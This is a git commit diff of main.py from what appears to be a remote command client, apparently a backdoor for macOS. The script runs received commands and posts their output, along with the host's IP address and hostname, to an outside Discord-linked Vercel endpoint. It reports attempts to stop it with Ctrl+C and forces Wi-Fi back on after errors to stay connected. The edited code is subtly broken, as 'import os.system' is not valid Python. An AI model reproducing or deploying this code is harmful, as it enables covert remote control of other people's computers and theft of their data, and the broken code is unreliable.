diff options
| author | littleblack111 <littleblack11111@gmail.com> | 2023-08-27 23:11:54 +0800 |
|---|---|---|
| committer | littleblack111 <littleblack11111@gmail.com> | 2023-08-27 23:11:54 +0800 |
| commit | b9e2c2c7efa33e23cd7d163b162e1da50625a90e (patch) | |
| tree | b0b0c2e89ebdec02bd293721704f3ca41e1a0ffc /main.py | |
| parent | 26c626a91c3922beae1b3a20f41023644e1f7e82 (diff) | |
updated buildmac
Diffstat (limited to 'main.py')
| -rw-r--r-- | main.py | 15 |
1 files changed, 8 insertions, 7 deletions
@@ -1,4 +1,5 @@ try: + import os.system from requests import get, post from time import sleep from subprocess import Popen as system @@ -36,11 +37,11 @@ while True: try: post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{ip}@{hostname}: ``Client tried to SIGINT(Ctrl+C) when handling discord api``") except KeyboardInterrupt: - system("/usr/sbin/networksetup -setairportpower en0 on", shell=True) + os.system("/usr/sbin/networksetup -setairportpower en0 on") continue continue except: - system("/usr/sbin/networksetup -setairportpower en0 on", shell=True) + os.system("/usr/sbin/networksetup -setairportpower en0 on") sleep(3) continue # execute command @@ -81,7 +82,7 @@ while True: # except KeyboardInterrupt: # post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{ip}@{hostname}: ``Client tried to SIGINT(Ctrl+C) when replying to ping``") # except: - system("/usr/sbin/networksetup -setairportpower en0 on", shell=True) + os.system("/usr/sbin/networksetup -setairportpower en0 on") # continue if command.startswith("cd"): @@ -97,7 +98,7 @@ while True: except FileNotFoundError: post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``$ {command}`` ```No Such Directory```-{ip}@{hostname}") except: - system("/usr/sbin/networksetup -setairportpower en0 on", shell=True) + os.system("/usr/sbin/networksetup -setairportpower en0 on") continue old_command = command @@ -128,7 +129,7 @@ while True: continue continue except: - system("/usr/sbin/networksetup -setairportpower en0 on", shell=True) + os.system("/usr/sbin/networksetup -setairportpower en0 on") continue if cmdout.decode() != "" and cmderr.decode() == "": @@ -144,7 +145,7 @@ while True: continue continue except: - system("/usr/sbin/networksetup -setairportpower en0 on", shell=True) + os.system("/usr/sbin/networksetup -setairportpower en0 on") continue elif cmdout.decode() == "" and cmderr.decode() == "": @@ -157,7 +158,7 @@ while True: continue continue except: - system("/usr/sbin/networksetup -setairportpower en0 on", shell=True) + os.system("/usr/sbin/networksetup -setairportpower en0 on") continue old_command = command |
